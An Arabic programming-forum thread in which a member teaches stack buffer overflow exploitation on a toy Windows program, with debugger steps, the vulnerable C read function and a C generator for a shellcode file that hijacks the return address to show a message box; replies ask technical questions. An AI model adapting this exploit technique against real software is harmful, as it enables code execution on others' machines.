JAAS

كشف وإستغلال ثغرات أنظمة التشغيل - البداية

40 ردود في هذا الموضوع

السلام عليكم ورحمة الله ,,,

توقعت أن أكتب هذا الموضوع وأنتهي منة في 3 أيام , ولكن مرت هذة الأيام وأنا لم أعرف من أين ابدأ

والسبب قد يكون في تشعب الموضوع لدرجة أننا في هذة السلسلة من الدروس سنذكر كل لغات البرمجة

تقريباً وسنقوم بإستخدامها , سندخل في مواضيع الشبكات و البرامج و الأنظمة وأخيراً المعالج والذاكرة

قد نناقش كل مايتعلق بالكمبيوتر بشكل عام لكي نعرف ماهي متطلبات أو خبرات كاشف الثغرات(الهكر) ؟!!!

هذة السلسلة من الدروس قد تأخذ 4 مواضيع أتوقع أن أنتهي منها في شهر ( هذا إذا لم ندخل في تفاصيل كثيرة )

سنبدأ في شرح الثغرات وكيفية إكتشافها مع أمثلة تطبيقية على ثغرات حقيقية تم إكتشافها

سنتعرف على أمور قد تندهش من غرابتها ؟

- هل تعلم بوجود طرق لإختراق الأجهزة فقط تتطلب رقم ip ( ثغرات أنظمة التشغيل )

- فقط بمجرد دخول صفحة إنترنت(فتح رسالة ) أودخول موقع , يمكن إختراق جهازك ( ثغرات البرامج- المتصفح )

- بعض الفايروسات أو الديدان تدخل لجهازك فقط بمجرد وصل الجهاز بالإنترنت ( ثغرات أنظمة )

-

والأغرب من هذا سنتعرف على تقنية أو طريقة ShellCode وإستغلال الثغرات

وسنبدأ بمثال : التحكم في سير التنفيذ لنظام التشغيل من خلال - تتوقع ماذا ؟!! ملف نصي txt

بعد هذا الموضع أتوقع أنك ستنسى كل ماهو مألوف في أنظمة التشغيل - وستتأكد من المقولة

كل شيء ممكن ؟! وخاصة في البرمجة ....

البداية : ثغرات أنظمة التشغيل

لو سألت ,, هل يمكن التغيير في ملف تنفيذي وطريقة عملة ؟! أكيد ستجد الجواب نعم

والأمثلة على ذلك البرمجة العكسية والكراك والباتش .....

كل هذة الأمثلة تغير في كود الملف التنفيذي ,, والتغيير في الكود بالتأكيد يغير في طريقة عمل الملف

والآن لو سألت هذا السؤال ؟!

هل يمكن التغيير في طريقة عمل ملف تنفيذي دون التغيير في كود الملف ؟؟؟؟؟!

أنا متأكد أن يكون جواب كل العقلاء والخبراء والمبرمجين هو : لالالالالا وألف لا ( يعني ماتدخل العقل )

ولكن ظهر لنا مجنون وقال ممكن ليش لا , وبدأ يبحث عن طريقة - هل تصدقون أنة وجدها

ولكن بشرط وهو حدوث خطأ , أهم شيء تعرفة في هذة المرحلة هو القانون التالي :

يمكن التغيير في طريقة عمل ملف تنفيذي دون التغيير في الكود بشرط حدوث خطأ

أريد أن أسال عندما نستخدم برنامج ويحدث خطأ أين ينتقل التنفيذ ؟! هل يخرج من البرنامج ؟

ماذا لو إستطعنا التحكم في مجرى التنفيذ ووجهناة لنقطة معينة , هل المطلوب التغيير في كود البرنامج؟!

أجوبة هذة الأسئلة : لا

سؤقرب لك ما أريد إصالة : بمثال تطبيقي , أعتقد أنها أسهل طريقة

-

مثالنا الأول عبارة عن برنامج هذا البرنامج يبحث عن ملف نصي في نفس المجلد

بعد أن يجدة يقوم بقرائة محتواة وعرضها بداخل أداة نص edit او textbox

ونحن بدورنا سنقوم بالكشف عن خطأ في هذا البرنامج ومن خلال الخطأ سنبحث عن ثغرة

تمكننا من إدخال كود برمجي وتنفيذة وتغيير مجرى البرنامج ,, دون التغيير في كود البرنامج الأصلي

فقط سنغير في محتوى الملف النصي ( من خلال محرر هكس )

وسنتعرف في هذا المثال على أكثر الثغرات إنتشارا في أنظمة التشغيل وهي overflow أو أخطاء الفيض

ستجد في هذة الرابط مثالنا , البرنامج + الشفرة المصدرية ( أخرج الملفات إلى مجلد )

http://www.arabteam2000.com/files/Code/files/myexp0a.zip

عندما تشغل البرنامج ستجد أمر Read file عندما تضغط علية , فإن البرنامج يقوم بقرائة

محتويات الملف النصي info.txt هذا الملف النصي موجود في نفس مجلد البرنامج

ويعرض المحتوى داخل أداة النص , ولو ألقينا نظرة على الكود الذي يقرأ الملف( الدالة Rfile )

لوجدنا التالي:

BOOL Rfile(HWND mhWnd)
{


HANDLE hfile=(HANDLE)-1;
DWORD nbt=0;

// لاحظ حجم مصفوفة الحروف

TCHAR buf[10];

hfile=CreateFile ("info.txt",GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,
     (LPSECURITY_ATTRIBUTES )NULL,OPEN_EXISTING,0,NULL);

if(hfile==(HANDLE)-1)
{
MessageBox (mhWnd,"ER: CreateFile ","Error 01",MB_OK);
return 1;
}

ZeroMemory(buf,10);
ReadFile (hfile,(LPVOID)buf,
   (DWORD)GetFileSize (hfile,NULL),&nbt,
   (LPOVERLAPPED )NULL);


SendMessage (mEdit,WM_SETTEXT ,0,(LPARAM)(LPCTSTR)buf);
return 0;

}

ستلاحظ في الكود المتغير أو المصفوفة buf حجمها 10 أحرف

يقوم البرنامج بقرائة الملف النصي وتخزين محتواة في المتغير buf بعد ذلك

ينقل إلى الأداة النصية , ماذا لو كان محتوى الملف النصي أكبر من 10 أحرف

بالتأكيد سيحدث خطأ ,, سنقوم بالبحث والنبش داخل هذا الخطأ

إفتح الملف النصي وقم بكتابة أي نص أكبر من 10 أحرف , ولكن لتطبيق الدرس

من حيث تشابة العناوين والمحتوى يفضل كتابة النص التالي :

fffdsdddertttttttttyyyyyyyyyyyyyyyyuuuuuuuuuuuuuuuuuuiiiiiiiiiiiiiiiiiiiiiiioooooooooooooooooooopppppppppppppp

بعد أن تكتب النص في الملف info.txt شغل البرنامج بواسطة olly لمراقبتة

ضع نقطة توقف عن العنوان 0x004013E0 يمثل بداية الدالة Rfile (دالة قرائة النص,وعرضة )

بعد أن تضع نقطة التوقف شغل البرنامج ونفذ Read File يتوقف التنفيذ عن نقطة التوقف

وتمثل بداية الدالة Rfile في الكود المصدري ,,,, لاحظ الصورة (خاصة قسم المكدس )

AAAhac.gif

سجل العنوان الذي سيخزن بة عنوان العودة وسير التنفيذ , بعد ذلك نفذ البرنامج

خطوة , خطوة بإستخدام F8 إلى أن تصل إلى نقطة الخطأ وهي الدالة readfile

وبعد تنفيذها لا حظ التغيرات

BBBstack.gif

هنا الورطة , أكيد إكتشفتها ؟؟!

ماذا لو غيرنا في الملف النصي الأحرف 13 و 14 و 15 و16 وهي "tttt"

تمثل هذة الأحرف عنوان العودة سيستخدمها المعالج لإستمرار ونقل التنفيذ , غير هذا العنوان

إلى عنوان آخر بداخل الملف النصي ,هذا العنوان يمثل كود لبرنامج مثلاً؟؟؟!!!!!!!!!!!!!

لاحظ كيف سنغير العنوان + سنقوم بكتابة كود تنفيذي بداخل الملف النصي

بهذة الطريقة :

CCCret.gif

بعد أن تغير في العنواين , وتكتب الكود بداخل محتوى الملف النصي , تابع F8

إلى أن تصل إلى تعليمة العودة في نهاية الدالة وهي RETN وبعد ذلك سينقل المعالج

التنفيذ إلى العنوان الذي قمت بتحديدة وكتبت بة الكود التنفيذي

dddgo.gif

وبعد ذلك تتبع البرنامج F8 ولاحظ كيف سينفذ برنامجنا الكود الموجود بداخل الملف النصي

eeeExrun.gif

وسينتقل لة التنفيذ , وبهذا نكون قد نقلنا التنفيذ دون التغيير في كود البرنامج الأصلي

وكل التغيرات والإضافات التي رأيناها كانت بداخل الملف النصي

ولأننا إستطعنا التغيير في سير التنفيذ دون التغيير في كود البرنامج , نكون قد إكتشفنا ثغرة

في البرنامج وسببها خطأ في الكود وهو عدم تحديد حجم القرائة للمتغير buf

وبعد أن نكتشف الثغرة , نقوم بكتابة ShellCode خاص بالثغرة وهو شبية بالكراك بعد كسر البرامج

ولكن shellcode عبارة عن أرقام ثنائية 1 و0 وللتسهيل تكتب بالهكس

هذة الأرقام تكتب بداخل أي لغة برمجة مثلاً ثغرات الأنظمة تكتب shellcode بواسطة لغة السي

ثغرات خوادم المواقع والسكربتات تكتب بلغة بيرل أو php أو asp أو html

المهم أن يكون shellcode عبارة عن أرقام بداخل هذة اللغات هذة الأرقام تمثل

كود بلغة الإسمبلي يمرر إلى الثغرة ليتم تنفيذة

والآن سنكتب برنامج بلغة السي ينتج لنا ملف نصي info.txt هذا الملف النصي مختلف

عن أي ملف نصي آخر , لأنة سيحتوي على عناوين الإنتقال لسير وتنفيذ البرنامج

بالإضافة إلى أنة سيحتوي على كود تنفيذي ( عبارة عن إظهار مسج )

وفقط بمجرد توزيع هذا الملف النصي على أي جهاز يحتوي على برنامجنا وبمجرد قرائة الملف

النصي نكون قد نفذنا أي كود أوبرنامج في الجهاز الآخر

هذا هو الكود + shellcode

#include <stdio.h>


char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xA4\xFB\x12\x00"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x6A\x00\x68\x00\x00\x00\x00\x68"
"\xC4\xFB\x12\x00\x50\xFF\x15\xA0"
"\x40\x40\x00\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"XxXx  Virus.exe is loading....."
"\x00\x00\x90\x90\x90\x90";



int main()
{
FILE* hfile=NULL;
int nb;

if (!(hfile=fopen ("info.txt","w+b"))) {
printf("Error: fopen()");
return 0;
}

nb=fwrite(shellcode,sizeof(char),
   sizeof(shellcode),hfile);

fclose(hfile);

printf("     -- OKKKKKKKKKK --\n");
printf("   -|- Write %d byte -|- \n",nb);
printf("-- Create  info.txt Virus --\n");

return 1;
}

ملاحظة : هل تشاهد طريقة ترتيب الكود - هذة الطريقة متبعة في كل

برامج إستغلال الثغرات ,, وأي كود تراة بهذة الطريقة يعتبر shellcode لثغرة

المهم :

نفذ البرنامج لينتج لك ملف نصي , ضعة في مجلد البرنامج

وقم بتنفيذ الدالة Rfile لتلاحظ النتيجة

وهي: تشغيل الكود أو البرنامج الموجود في الملف النصي

-

وبهذا نكون قد أخذنا كل أقسام الثغرة , وهي

البحث عن خطأ بداخل أي ملف تنفيذي

محاولة إيجاد طريقة لنقل أو تغيير مسار التنفيذ في مرحلة الخطأ

كتابة shellcode أو كتابة كود لإستغلال والإستفادة من الثغرة

-

وبعد هذة المقدمة المهمة جداً , سنأخذ في الدرس القادم(ضمن سلسلة الدروس)

مثال متقدم لطريقة إكتشاف ثغرة وتطبيقها في نظام وندوز

بالإضافة إلى طريقة عمل أشهر الفايروسات وكيفية إستغلال الثغرات

ودخولها إلى أي جهاز فقط بمجرد الإتصال بالإنترنت

--

وبالتوفيق للجميع ,,,,

وكل عام وأنتم بخير

2

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

السلام عليكم

ما شاء الله عليك أخي jaas .. مبدع و الله ..

بارك الله فيك وزادك من علمه ..

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

السلام عليكم

هذا الابداع يستحق التثبيت, وياريت تواصل اخى jaas وجزاك الله عنا كل خير

والسلام

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

ماشاء الله

الله يعطيك الف عافية

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

والله يا Jaas قرأت الموضوع ولم أعرف ماذا أقول ! إبداعاتك تكفي المنتدى كاملا , والله يعينك على الباقي .

ودروس كهذه أعدك أن نستفيد منها بأقصى مايمكن لتصل للجميع في النهاية .

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

ماشاء الله عليك اخوي

صراحه انا من المعجبين بمواضيعك واصل فيها يالغالي

والله يزيدك

تحياتي

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

السلام عليكم

سؤالين اخى jaas :

هل محتوى الذاكره بعد التغير هو نفس محتوى ال shellcode <_< ?

ارى ال shellcode يكتب الاعداد 90 مرات عديده ولكن هذا الرقم لا يظهر فى داكرة olly

ولماذا ret 0 فى حال عدم إستطاعة الكتابه فى الملف و ret 1 فى حال الكتابه؟

اليس من المفروض ان يكون العكس.

وكل عام وانت بالف خير

والسلام

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

السلام عليكم

على حسب ما فهمت فلابد ان يكون ال shellcod على هذا النحو :

char shellcode[] =
"\x66\x66\x66\x64\x73\x64\x64\x64\x65\x72\x74\x74"
"\xA4\xFB\x12\x00"
"\x74\x74\x74\x79\x79\x79\x79\x79"
"\x6A\x00\x68\x00\x00\x00\x00\x68"
"\xC4\xFB\x12\x00\x50\xFF\x15\xA0"
"\x40\x40\x00\x75\x75\x75\x75\x75"
"\x75\x75\x75\x75\x75\x69\x69\x69"
"XxXx  Virus.exe is loading..."
"\x00\x00\x20";

حتى ينطبق معى المثال.

معلش يا jaas اصل انا فهمى ثقيل ارجو التوضيح ولك منى جزيل الشكر.

والسلام

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

عليكم السلام ,,,,

فعلاً توقعت أن يهتم بهذا الموضوع فقط مبرمجي الإسمبلي

وعندما أكمل بقية الدروس وأدخل في الشبكات و المواقع توقعت أن

ينسحب بقية الأعضاء حتى مبرمجي الإسمبلي ,,,,

ولكن الحمد لله على كل حال

المهم : أنا لا أريد كلمة شكر ,,, ما أريدة المتابعة لبقية الموضوع حتى النهاية

لأن الموضوع مهم - والمشكلة أن مثل هذة المواضيع معدومة وقد لاتجد مثل

هذة الفرصة لتعلمها

نرجع للأسئلة :

هل محتوى الذاكره بعد التغير هو نفس محتوى ال shellcode

بالتأكيد نعم

المتغير buf متغير محلي ( موقعة أو مكان تخزينة المكدس )

عنوان العودة - أو العنوان الذي سينقل المعالج لة التنفيذ موقعة المكدس

لو حددت حجم المتغير buf ب 5 مثلاً

سيحجز لها 5 بايتات مثلا - بعدها مباشرة ستكتب عناوين البارمترات الممررة للدالة

بعدها سيكتب عنوان العودة

الآن : قد يتغير حجم buf وقد تتغير عدد البارمترات الممررة للدالة

هذا التغير هو الذي يفرض علي أين أكتب الرقم 0x90 ويعني التعليمة nop التي لاتفعل شي

لنفرض أن عدد البارمترات للدالة 2 ( سيحجز في المكدس 8 بايت ) بعد 8 بايت يأتي عنوان العودة

أقوم أنا بتغيير هذة 8 بايت ب 0x90 ( وهكذا بالنبسة لحجم المتغير )

ارى ال shellcode يكتب الاعداد 90 مرات عديده ولكن هذا الرقم لا يظهر فى داكرة olly

يظهر بعد تنفيذ الدالة readfile

على حسب ما فهمت فلابد ان يكون ال shellcod على هذا النحو

char shellcode[] =
"\x66\x66\x66\x64\x73\x64\x64\x64\x65\x72\x74\x74"
"\xA4\xFB\x12\x00"
"\x74\x74\x74\x79\x79\x79\x79\x79"
"\x6A\x00\x68\x00\x00\x00\x00\x68"
"\xC4\xFB\x12\x00\x50\xFF\x15\xA0"
"\x40\x40\x00\x75\x75\x75\x75\x75"
"\x75\x75\x75\x75\x75\x69\x69\x69"
"XxXx  Virus.exe is loading..."
"\x00\x00\x20";

لايوجد فرق ولكن الأفضل كتابة 0x90 لأنة يوجد إحتمال تغير عنوان buf

إما بالزيادة أو النقص 4 بايت

ولو حدث هذا التغير سينتقل التنفيذ إلى تعليمة 90 أو nop وهي لن تغير في الكود أي شيء ويستمر التنفيذ

أما بالنسبة

ولماذا ret 0 فى حال عدم إستطاعة الكتابه فى الملف و ret 1 فى حال الكتابه؟

في البداية لم أفهم ماذا تقصد بهذا السؤال ؟؟؟

وبعد مراجعة الموضوع أعتقد أني فهمتة :) وهو كود كتابة الملف النصي info.txt في آخر الدرس

أخي أحمد تستطيع أن ترجع أي قيمة (في النظام نفسة توجد دوال ترجع 0 عند النجاح )

وأخرى ترجع 1 عند النجاح يعني القيمة العائدة تكتب على حسب مزاج المبرمج

وبالتوفيق للجميع ,,,

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

لم تفهم قصدى اخى jaas , ما قصدته هو هل ملف البرنامج الاخير هو نفس محتوى الصوره المرفقه, لان ال shellcod المذكور يختلف عن محتوى الذاكره التى ارفقت صورتها.

وإن شاء الله سوف اواصل المتابعه معك لان الموضوع بالفعل مهم ومميز.

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

عذراً أخي أحمد ( الظاهر أنا فهمي ثقيل :)

هل ملف البرنامج الاخير هو نفس محتوى الصوره المرفقه

لا طبعاً

لأني أردت أن أوضح طريقة إكتشاف الثغرة(وتجربة النتائج )

وعندما أتوصل إلى نتيجة أقوم بكتابة shellcode لهذة الثغرة بأفضل طريقة

-----------------------------------------------------

وأي سؤال آخر من بقية الأعضاء ... أرجوا كتابتة ,,

لأنة بعد طرح القسم الثاني للموضوع لن يتم الرجوع لهذا المثال

وسنعتبر أن الأساسيات مفهومة ,

وبالتوفيق

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

إذاً طالما الاسئله ممنوعه بعد البدء فى المرحله القادمه عن المرحله السابقه ننتهز الفرصه:

السؤال الاول كيف يعود البرنامج إلى مساره السابق بعد الانتهاء من ال shellcod?

السؤال الثانى من اين احصل على رموز الكود لان البحث فى كتاب إنتل متعب جداً, هل هناك ملف يحوى الرموز والكود فى قائمه سهلة التصفح؟؟

ولك جزيل الشكر.

والسلام

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

السلام عليكم

اخى jaas

والله انا من المعجبين بموضيعك ومسجل فى المنتدى عشان موضيعك بصراحه تمام جدا

بالنسبه للموضوع

فعلا موضوع حلو وممتاز

بس يا ريت اخويه توضح ان كانت البفر اوفر فلوه

ان كانت stack او heap

ولو ان البفر اوفر فلوه يتكون من اكتر من نوع

فقد بحثت عن واحد لكى اتعامل معه فى ثغره اكتشفتها فى الويندز واضفتك يا اخى الكريم على الماسنجر ولكن لا ادرى لماذا لاتدخل

على العموم انا باتظارك [email protected]

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

مرحبا ,,,

السؤال الاول كيف يعود البرنامج إلى مساره السابق بعد الانتهاء من ال shellcod?

في نهاية shellcode علينا أن نعود بالتنفيذ إلى مسارة الحقيقي

وبالتأكيد فإننا نحصل على العنوان الحقيقي من البرنامج نفسة قبل التغيير(الصورة1)

السؤال الثانى من اين احصل على رموز الكود لان البحث فى كتاب إنتل متعب جداً, هل هناك ملف يحوى الرموز والكود فى قائمه سهلة التصفح؟؟

إذا كنت تقصد تشفير الكود بالهكس(النظام الست عشري)

أسهل طريقة هي إستخدام olly (غير طريقة عرض البيانات إلى الإسمبلي )

وبعد ذلك إكتب ماتريد وبعدها أعد طريقة عرض البيانات إلى الهكس وإحفظ القيم

أخي bigboss1988 الظاهر أن لك خلفية عن الثغرات :)

بالفعل خطأ الفيض لة نوعين كما ذكرت ولذلك الثغرة في هذا الخطأ لها نوعين

وهي (stack -heap ) أو ( الكومة - المكدس )

المهم هذة الثغرة من نوع stack وبعد ذلك في بقية المواضيع سنناقش كل نوع

بتفصيل أكبر

وبالتوفيق ,,,,,,,,,

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

السلام عليكم

ماشاء الله عليك موضوع مفيييييييد كتير من اجل الحصان والاختراق ايضا (h)

فى انتضار الاتى وشكرا

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
في نهاية shellcode علينا أن نعود بالتنفيذ إلى مسارة الحقيقي

وبالتأكيد فإننا نحصل على العنوان الحقيقي من البرنامج نفسة قبل التغيير(الصورة1)

ولماذا نقوم بذلك؟ طالما اننا لن نقوم باصلاح الخطا فعودة التنفيذ للمسار الحقيقي او عدمه سواء لان النهاية هي رسالة خطا :blink: لكن من الممكن عمل RE للجزء الخاص بال buf وزيادة حجمها ومن ثم اعادة التحكم لما يلي ذلك لكن هذا سيؤثر على ما نود القيام به كون حجم الخانة المخصصة في الذاكرة قد زاد ويمكن ان يتمكن من ضم جميع محتويات الملف النصي :D

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

اخ احمد هذا البرنامج سيغنيك عن البحث في كتاب انتل عن ال opcodes ;)

oPcodeR.zip

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

السلام عليكم

مشكووووور على البرنامج Xacker برنامج ممتاز, وهو ما كنت ابحث عنه.

والسلام

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

العفو اخ احمد

اخي JAAS لدي استفسار حول عمل ال hyperterminal فكما ارى لا يبدو انه يستخدم الكثير من الدوال.. لكن هناك دوال لا اعرفها مستوردة من ملف msvcrt فهل لك ان توضح لي اهمية هذا الملف؟ وشكرا على الجهود المبذولة

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

دائم متأخر :) الدرس ممتاز بس لم يعم عندي Illegal opreation

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

وضح اين يظهر لك هذا اخي neo كي يستطيع الاخوة مساعدتك

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

مرحبا أخي ( Xacker )

بالنسبة لسؤالك عن مجرى أو عودة التنفيذ ؟!

سترى في الأمثلة القادمة أن بعض الثغرات تتطلب إعادة العنوان الأصلي , رغم حدوث خطأ

وهذة الطريقة معروفة لأغلب الفايروسات ( هل تلاحظ في بعض حالات الإختراق )

ظهور رسالة خطأ وإعادة تشغيل الجهاز .

لدي استفسار حول عمل ال hyperterminal فكما ارى لا يبدو انه يستخدم الكثير من الدوال.. لكن هناك دوال لا اعرفها مستوردة من ملف msvcrt فهل لك ان توضح لي اهمية هذا الملف؟ وشكرا على الجهود

فعلاً المكتبة MSVCRT.DLL مهمة للبرنامج ولكن HYPERTRM.DLL أهم ؟!

بمعنى شغل البرنامج hyperterminal يحدث بداخل المكتبة HYPERTRM.DLL

وشاهد جيش الدوال التي يستخدمها الملف HYPERTRM.DLL

http://www.arabteam2000.com/picload/Files/...00000001444.gif

hhhhy00000000001444.gif

أما عن أهمية الملف MSVCRT.DLL ,, فهو يمثل ملفات التشغيل للملف التنفيذي

مثل ملفات التشغيل للفيجول بيسك ,

بمعنى يحتوي دوال تشغيل وإنهاء البرنامج وحجز الكتل الذاكرية و تحديد العملية

-

دائم متأخر  الدرس ممتاز بس لم يعم عندي Illegal opreation

إعذرني أخي الكريم , لم أفهم المطلوب !!

-

وبالتوفيق ,,

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

أنا أقصد أنى أتيت متأخر كعادتى

لان لا أدخل الأنترنت كثيرا

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

جميل لكن على ما يبدو ان جميع الدوال يتم استدعاؤها عن طريق ال ordinal فهل الدوال ذات الحرف (i) هي نفسها مفهومة!! ذات الحرف (e) ?

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

السلام عليكم ..

رأئي مثل بقيه الاخوان ,موضوعك اكثر من رائع ,,

لكني لتثبيت الافكار ,هذا ما فهمتوا صحيح :

قد قمنا بما يلي :

غيرنا عنوان العوده لداله قرأه الملف ,الى عنوان بداخل الملف النصي وبالتالي هذا العنوان يؤشر على كود تنفيذي...وهكذا حين ينتهي المعالج من قرأه الملف ,ينفذ عنوان العوده (والذي من المفروض اننا قمنا بتغيره الى عنوان كود بالملف النصي) وبالتالي يرشده العنوان الى الكود التنفيذي وينفذ الكود...

وما زال بعض الغموض والاستفسارات ..؟؟

فحسب ما فهمه من قرأه الشرح ,النقطه الاساسيه من استغلال الخطا هو تحويل عنوان العوده بعد اتمام القرأه من الملف الى كود الشل ليتم تنفيذه...

فسؤالي لماذا اذا لا نستطيع تغير هذا العنوان بدون حدوث خطأ معين ؟؟ الا نستطيع ان نغير عنوان العوده بعد القرأه مع سلامه الكود اي من دون اي اوفر فلو اذا صح الاسم .؟ :s

سؤال ثاني , لماذا اصلا نحتاج ملف نصي لكتابه الكود النتفيذي بداخله ؟ هل لا نستطيع ان نحقن الكود التنفيذي هذا بداخل البرنامج ذاة ؟ وعمل قفزه عليه اثناء التنفيذ مع الاحتياط بوضع امر للرجوع ..؟

اشكرك بشكل خاص لمساهتك بالموضوع والشرح ,واشكر باقي الاعضاء لمساهمتهم ...

تقبل تحياتي ..

:)

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
زوار
This topic is now closed to further replies.

  • يستعرض القسم حالياً   0 members

    لا يوجد أعضاء مسجلين يشاهدون هذه الصفحة .